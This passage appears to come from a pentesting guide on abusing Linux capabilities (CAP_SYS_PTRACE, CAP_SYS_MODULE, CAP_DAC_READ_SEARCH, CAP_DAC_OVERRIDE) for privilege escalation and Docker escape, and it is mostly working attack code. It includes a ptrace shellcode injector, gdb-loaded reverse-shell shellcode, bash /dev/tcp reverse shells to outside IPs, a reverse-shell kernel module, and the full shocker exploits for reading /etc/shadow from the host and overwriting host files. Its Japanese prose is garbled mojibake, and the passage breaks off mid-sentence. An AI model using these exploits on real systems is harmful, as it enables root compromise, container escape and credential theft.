("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
ãã€ããªã®äŸïŒgdbïŒ
ptrace
æ©èœãæ〠gdb
ïŒ
/usr/bin/gdb = cap_sys_ptrace+ep
Linux Capabilities
Linux capabilities are a way to divide the privileges traditionally associated with superuser into smaller, distinct units. This allows for more fine-grained control over the privileges granted to a process.
List Capabilities
To list the capabilities of a specific binary, you can use the getcap
command:
$ getcap /path/to/binary
Set Capabilities
To set capabilities on a binary, you can use the setcap
command:
$ setcap cap_net_raw+ep /path/to/binary
Remove Capabilities
To remove capabilities from a binary, you can use the setcap
command with the -r
option:
$ setcap -r /path/to/binary
Exploiting Capabilities
Exploiting capabilities can be useful for privilege escalation. If a binary with elevated capabilities is executed by a user with lower privileges, it may be possible to abuse those capabilities to gain additional privileges.
For example, if a binary has the cap_net_raw
capability, it can bypass certain network restrictions and perform actions that would normally require root privileges.
To exploit capabilities, you can search for binaries with elevated capabilities using tools like find
or locate
. Once you find a suitable binary, you can execute it to gain the associated privileges.
References
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf = b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"
# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf
# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
ã«ãŒãããã»ã¹ãgdbã§ãããã°ãã以åã«çæãããgdbã®è¡ãã³ããŒããŠè²Œãä»ããŸãã
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
ç°å¢ã䜿çšããäŸïŒDockerã®è±åºïŒ- å¥ã®GDBã®æªçš
ããGDBãã€ã³ã¹ããŒã«ãããŠããå ŽåïŒãŸãã¯apk add gdb
ãŸãã¯apt install gdb
ãªã©ã§ã€ã³ã¹ããŒã«ã§ããå ŽåïŒããã¹ãããããã»ã¹ããããã°ããsystem
é¢æ°ãåŒã³åºãããšãã§ããŸãïŒãã®æè¡ã«ã¯SYS_ADMIN
ã®æš©éãå¿
èŠã§ãïŒã
gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")
ã³ãã³ãã®åºåã¯èŠãããšãã§ããŸãããããã®ããã»ã¹ã«ãã£ãŠå®è¡ãããŸãïŒãããã£ãŠãéã·ã§ã«ãååŸããŸãïŒã
{% hint style="warning" %} ãçŸåšã®ã³ã³ããã¹ãã«ã·ã³ãã«ãsystemãããããŸããããšãããšã©ãŒã衚瀺ãããå Žåã¯ãgdbã䜿çšããŠããã°ã©ã ã«ã·ã§ã«ã³ãŒããããŒãããåã®äŸã確èªããŠãã ããã {% endhint %}
ç°å¢ã䜿çšããäŸïŒDockerã®è±åºïŒ- ã·ã§ã«ã³ãŒãã®ã€ã³ãžã§ã¯ã·ã§ã³
Dockerã³ã³ããå ã§æå¹ãªæ©èœã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸãïŒ
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
ãã¹ãã§å®è¡äžã®ããã»ã¹ããªã¹ãã¢ãããã ps -eaf
- ã¢ãŒããã¯ãã£ãååŸãã
uname -m
- ã¢ãŒããã¯ãã£ã«å¯Ÿå¿ããã·ã§ã«ã³ãŒããèŠã€ãã (https://www.exploit-db.com/exploits/41128)
- ã·ã§ã«ã³ãŒããããã»ã¹ã®ã¡ã¢ãªã«ã€ã³ãžã§ã¯ãããããã®ããã°ã©ã ãèŠã€ãã (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)
- ããã°ã©ã å
ã®ã·ã§ã«ã³ãŒããå€æŽããã³ã³ãã€ã«ãã
gcc inject.c -o inject
- ã€ã³ãžã§ã¯ãããŠã·ã§ã«ãååŸãã:
./inject 299; nc 172.17.0.1 5600
CAP_SYS_MODULE
CAP_SYS_MODULE ã¯ããã»ã¹ãä»»æã®ã«ãŒãã«ã¢ãžã¥ãŒã«ãããŒãããã³ã¢ã³ããŒãã§ããããã«ããŸã (init_module(2)
, finit_module(2)
ããã³ delete_module(2)
ã·ã¹ãã ã³ãŒã«)ãããã«ãããç°¡åãªç¹æš©ãšã¹ã«ã¬ãŒã·ã§ã³ãšãªã³ã°-0ã®äŸµå®³ãå¯èœã«ãªããŸããã«ãŒãã«ã¯èªç±ã«å€æŽã§ãããã¹ãŠã®ã·ã¹ãã ã»ãã¥ãªãã£ãLinuxã»ãã¥ãªãã£ã¢ãžã¥ãŒã«ãããã³ã³ã³ããã·ã¹ãã ãç¡å¹åãããŸãã
ã€ãŸãããã¹ããã·ã³ã®ã«ãŒãã«ã«ã«ãŒãã«ã¢ãžã¥ãŒã«ãæ¿å
¥/åé€ã§ããŸãã
ãã€ããªã®äŸ
以äžã®äŸã§ã¯ããã€ã㪠python
ããã®æ©èœãæã£ãŠããŸãã
getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep
ããã©ã«ãã§ã¯ãmodprobe
ã³ãã³ãã¯äŸåé¢ä¿ãªã¹ããšããããã¡ã€ã«ããã£ã¬ã¯ããª/lib/modules/$(uname -r)
ã§ãã§ãã¯ããŸãã
ãããæªçšããããã«ãåœã®lib/modulesãã©ã«ããäœæããŸãããã
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
次ã«ã以äžã®2ã€ã®äŸããã«ãŒãã«ã¢ãžã¥ãŒã«ãã³ã³ãã€ã«ããããããã®ãã©ã«ãã«ã³ããŒããŸãã
cp reverse-shell.ko lib/modules/$(uname -r)/
æåŸã«ããã®ã«ãŒãã«ã¢ãžã¥ãŒã«ãããŒãããããã«å¿ èŠãªPythonã³ãŒããå®è¡ããŸãã
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
ãã€ããªã䜿ã£ãäŸ
次ã®äŸã§ã¯ããã€ã㪠kmod
ããã®æ©èœãæã£ãŠããŸãã
getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep
ããã¯ãinsmod
ã³ãã³ãã䜿çšããŠã«ãŒãã«ã¢ãžã¥ãŒã«ãæ¿å
¥ããããšãå¯èœã§ããããšãæå³ããŸãããã®ç¹æš©ãæªçšããŠéã·ã§ã«ãååŸããããã®ä»¥äžã®äŸã«åŸã£ãŠãã ããã
ç°å¢ã䜿çšããäŸïŒDockerã®è±åºïŒ
Dockerã³ã³ããå ã§æå¹ãªæ©èœã確èªããã«ã¯ã次ã®ã³ãã³ãã䜿çšããŸãïŒ
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
åã®åºåã®äžã§ãSYS_MODULEã®æ©èœãæå¹ã«ãªã£ãŠããããšãããããŸãã
éã·ã§ã«ãå®è¡ããã«ãŒãã«ã¢ãžã¥ãŒã«ãšããããã³ã³ãã€ã«ããããã®MakefileãäœæããŸãïŒ
{% code title="reverse-shell.c" %}
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
{% code title="Makefile" %}
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
{% endcode %}
{% hint style="warning" %} Makefileå ã®ååèªã®åã®ç©ºçœæåã¯ãã¿ãã§ã¯ãªãã¹ããŒã¹ã§ããå¿ èŠããããŸãïŒ {% endhint %}
make
ãå®è¡ããŠã³ã³ãã€ã«ããŸãã
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
æåŸã«ãã·ã§ã«å
ã§nc
ãèµ·åããå¥ã®ã·ã§ã«ããã¢ãžã¥ãŒã«ãããŒãããŠãncããã»ã¹ã§ã·ã§ã«ããã£ããã£ããããšãã§ããŸãã
#Shell 1
nc -lvnp 4444
#Shell 2
insmod reverse-shell.ko #Launch the reverse shell
ãã®æè¡ã®ã³ãŒãã¯ãhttps://www.pentesteracademy.com/ã®ãAbusing SYS_MODULE Capabilityãã®å®éšå®€ããã³ããŒãããŸããã
ãã®æè¡ã®å¥ã®äŸã¯ãhttps://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-hostã§èŠã€ããããšãã§ããŸãã
CAP_DAC_READ_SEARCH
CAP_DAC_READ_SEARCHã¯ãããã»ã¹ããã¡ã€ã«ã®èªã¿åãããã£ã¬ã¯ããªã®èªã¿åããšå®è¡æš©éããã€ãã¹ããããšãå¯èœã«ããŸããããã¯ããã¡ã€ã«ã®æ€çŽ¢ãèªã¿åãã«äœ¿çšããããã«èšèšãããŠããŸããããopen_by_handle_at(2)
ãåŒã³åºãæš©éãä»äžãããŸããCAP_DAC_READ_SEARCH
ã®æš©éãæã€ä»»æã®ããã»ã¹ã¯ãopen_by_handle_at(2)
ã䜿çšããŠãããŠã³ãåå空éã®å€ã«ãããã¡ã€ã«ã«ã¢ã¯ã»ã¹ã§ããŸããopen_by_handle_at(2)
ã«æž¡ããããã³ãã«ã¯ãname_to_handle_at(2)
ã䜿çšããŠååŸãããäžéæãªèå¥åã§ããããšãæå³ãããŠããŸãããã ãããã®ãã³ãã«ã«ã¯inodeçªå·ãªã©ã®æ©å¯æ§ã®é«ãæ
å ±ãå«ãŸããŠãããæ¹ãããå¯èœã§ããããã¯ãSebastian Krahmerã«ãã£ãŠDockerã³ã³ããã§æåã«åé¡ãçºçããããšã瀺ãããŸããïŒshocker exploitïŒã
ã€ãŸãããã¡ã€ã«ã®èªã¿åãæš©éãã§ãã¯ãšãã£ã¬ã¯ããªã®èªã¿åã/å®è¡æš©éãã§ãã¯ããã€ãã¹ããããšãã§ããŸãã
ãã€ããªã䜿çšããäŸ
ãã€ããªã¯ä»»æã®ãã¡ã€ã«ãèªã¿åãããšãã§ããŸãããããã£ãŠãtarã®ãããªãã¡ã€ã«ã«ãã®æ©èœãããå Žåãshadowãã¡ã€ã«ãèªã¿åãããšãã§ããŸãã
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
ãã€ããª2ã®äŸ
ãã®å Žåãpython
ãã€ããªã«ãã®æ©èœããããšä»®å®ããŸããããã«ãŒããã¡ã€ã«ããªã¹ãããããã«ã¯ã次ã®ããã«ããŸãïŒ
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
ãããŠããã¡ã€ã«ãèªãããã«ã¯æ¬¡ã®ããã«ããããšãã§ããŸãïŒ
print(open("/etc/shadow", "r").read())
ç°å¢ã®äŸïŒDockerã®è±åºïŒ
次ã®ã³ãã³ãã䜿çšããŠãDockerã³ã³ããå ã§æå¹ãªæ©èœã確èªã§ããŸãã
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
åã®åºåã®äžã§ãDAC_READ_SEARCHæ©èœãæå¹ã«ãªã£ãŠããããšãããããŸãããã®çµæãã³ã³ããã¯ããã»ã¹ã®ãããã°ãã§ããŸãã
次ã®æªçšæ¹æ³ã«ã€ããŠã¯ãhttps://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3ã§åŠã¶ããšãã§ããŸãããèŠçŽãããšãCAP_DAC_READ_SEARCHã¯èš±å¯ãã§ãã¯ãªãã§ãã¡ã€ã«ã·ã¹ãã ããã©ããŒã¹ããããšãã§ããã ãã§ãªãã_open_by_handle_at(2)_ã®ãã§ãã¯ãæ瀺çã«åé€ããä»ã®ããã»ã¹ãéããŠããæ©å¯ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããšãã§ããŸãã
ãã®æš©éãæªçšããŠãã¹ããããã¡ã€ã«ãèªã¿åãå ã®ãšã¯ã¹ããã€ãã¯ãããã§èŠã€ããããšãã§ããŸã: http://stealth.openwall.net/xSports/shocker.cã以äžã¯ãæåã®åŒæ°ã§èªã¿åããããã¡ã€ã«ãæå®ããããããã¡ã€ã«ã«ãã³ãããããã®ä¿®æ£çã§ãã
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
{% hint style="warning" %} ãšã¯ã¹ããã€ãã¯ããã¹ãã«ããŠã³ããããäœãã®ãã€ã³ã¿ãèŠã€ããå¿ èŠããããŸããå ã®ãšã¯ã¹ããã€ãã§ã¯ããã¡ã€ã«/.dockerinitã䜿çšããŠããŸãããããã®ä¿®æ£çã§ã¯/etc/hostnameã䜿çšããŠããŸãããšã¯ã¹ããã€ããæ©èœããªãå Žåã¯ãç°ãªããã¡ã€ã«ãèšå®ããå¿ èŠããããããããŸããããã¹ãã«ããŠã³ãããããã¡ã€ã«ãèŠã€ããã«ã¯ãmountã³ãã³ããå®è¡ããŠãã ããïŒ {% endhint %}
ãã®ãã¯ããã¯ã®ã³ãŒãã¯ãhttps://www.pentesteracademy.com/ã®ãAbusing DAC_READ_SEARCH Capabilityãã®ã©ãããã³ããŒãããŸãã
â
âââââââââââRootedCONã¯ãã¹ãã€ã³ã§æãé¢é£æ§ã®é«ããµã€ããŒã»ãã¥ãªãã£ã€ãã³ãã§ããããšãŒãããã§ãæãéèŠãªã€ãã³ãã®äžã€ã§ããæè¡çãªç¥èãä¿é²ããããšã䜿åœãšããŠãããã®äŒè°ã¯ãããããåéã®æè¡ãšãµã€ããŒã»ãã¥ãªãã£ã®å°é家ã«ãšã£ãŠã®æŽ»æ°ãã亀æµã®å Žã§ãã
{% embed url="https://www.rootedcon.com/" %}
CAP_DAC_OVERRIDE
ããã¯ãä»»æã®ãã¡ã€ã«ã®æžã蟌ã¿èš±å¯ãã§ãã¯ããã€ãã¹ã§ããããšãæå³ããŸãããããã£ãŠãä»»æã®ãã¡ã€ã«ãæžã蟌ãããšãã§ããŸãã
ç¹æš©ãææ Œãããããã«äžæžãã§ãããã¡ã€ã«ã¯ãããããããŸããããããã¢ã€ãã¢ãåŸãããšãã§ããŸãã
ãã€ããªã䜿çšããäŸ
ãã®äŸã§ã¯ãvimã«ãã®æ©èœããããŸãã®ã§ãpasswdãsudoersã_shadow_ãªã©ã®ä»»æã®ãã¡ã€ã«ãå€æŽããããšãã§ããŸãã
getcap -r / 2>/dev/null
/usr/bin/vim = cap_dac_override+ep
vim /etc/sudoers #To overwrite it
ãã€ããª2ã®äŸ
ãã®äŸã§ã¯ãpython
ãã€ããªã«ãã®æ©èœãä»äžãããŸããPythonã䜿çšããŠãä»»æã®ãã¡ã€ã«ãäžæžãããããšãã§ããŸãã
file=open("/etc/sudoers","a")
file.write("yourusername ALL=(ALL) NOPASSWD:ALL")
file.close()
ç°å¢ãšCAP_DAC_READ_SEARCHïŒDockerè±åºïŒã®äŸ
次ã®ã³ãã³ãã䜿çšããŠãDockerã³ã³ããå ã§æå¹ãªæ©èœã確èªã§ããŸãã
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
ãŸãããã¹ãã®ä»»æã®ãã¡ã€ã«ãèªã¿åãããã« DAC_READ_SEARCH æ©èœãæªçšãã åã®ã»ã¯ã·ã§ã³ãèªãã§ãã ããããããŠããšã¯ã¹ããã€ãã ã³ã³ãã€ã« ããŠãã ããã
次ã«ããã¹ãã®ãã¡ã€ã«ã·ã¹ãã ã« ä»»æã®ãã¡ã€ã«ãæžã蟌ãããšãã§ãã 以äžã®ããŒãžã§ã³ã®ã·ã§ãã«ãŒãšã¯ã¹ããã€ãã ã³ã³ãã€ã« ããŠãã ããã
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
Dockerã³ã³ããããè±åºããããã«ããã¹ããã/etc/shadow
